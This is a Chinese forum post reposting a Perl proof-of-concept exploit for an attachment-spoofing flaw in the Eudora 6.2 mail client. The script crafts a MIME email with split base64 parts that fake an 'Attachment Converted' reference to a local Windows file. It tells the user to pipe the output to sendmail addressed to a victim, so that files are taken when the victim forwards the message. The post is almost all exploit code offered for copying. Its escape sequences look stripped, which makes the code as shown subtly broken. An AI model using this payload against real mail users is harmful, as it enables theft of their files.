发新话题
打印

Eudora 6.2 Remote Attachment Spoofing Proof of Concept

Eudora 6.2 Remote Attachment Spoofing Proof of Concept

信息来源:www.hk20.com
复制内容到剪贴板
代码:
#!/usr/bin/perl --

use MIME::Base64;

print "From: men";
print "To: youn";
print "Subject: Eudora 6.2 on Windows spoofn";
print "MIME-Version: 1.0n";
print "Content-Type: multipart/mixed; boundary="zzz"n";
print "X-Use: Pipe the output of this script into: sendmail -i victimnn";

print "--zzzn";
print "Content-Type: text/plainn";
print "Content-Transfer-Encoding: 7bitnn";
print "With spoofed attachments, we could 'steal' files if the message
was forwarded (not replied to). Get a warning when stealing arbitrary
files, but no warning when stealing 'attach\existing' attachments.n";

print "n--zzzn";
print "Content-Type: text/plain; name="b1.txt"n";
print "Content-Transfer-Encoding: base64n";
print "Content-Disposition: inline; filename="b1.txt"nn";
$z = "Within base64 encoded, use missing linebreak. Part 1 ...r
AttachmenXX";
print encode_base64($z);

print "n--zzzn";
print "Content-Type: text/plain; name="b2.txt"n";
print "Content-Transfer-Encoding: base64n";
print "Content-Disposition: inline; filename="b2.txt"nn";
$z = "t Converted: "c:\winnt\system32\calc.exe"r
... part 2r
BTW, the above shows a parsing bug: missing two characters.r
rn";
print encode_base64($z);

print "n--zzz--n";

TOP

发新话题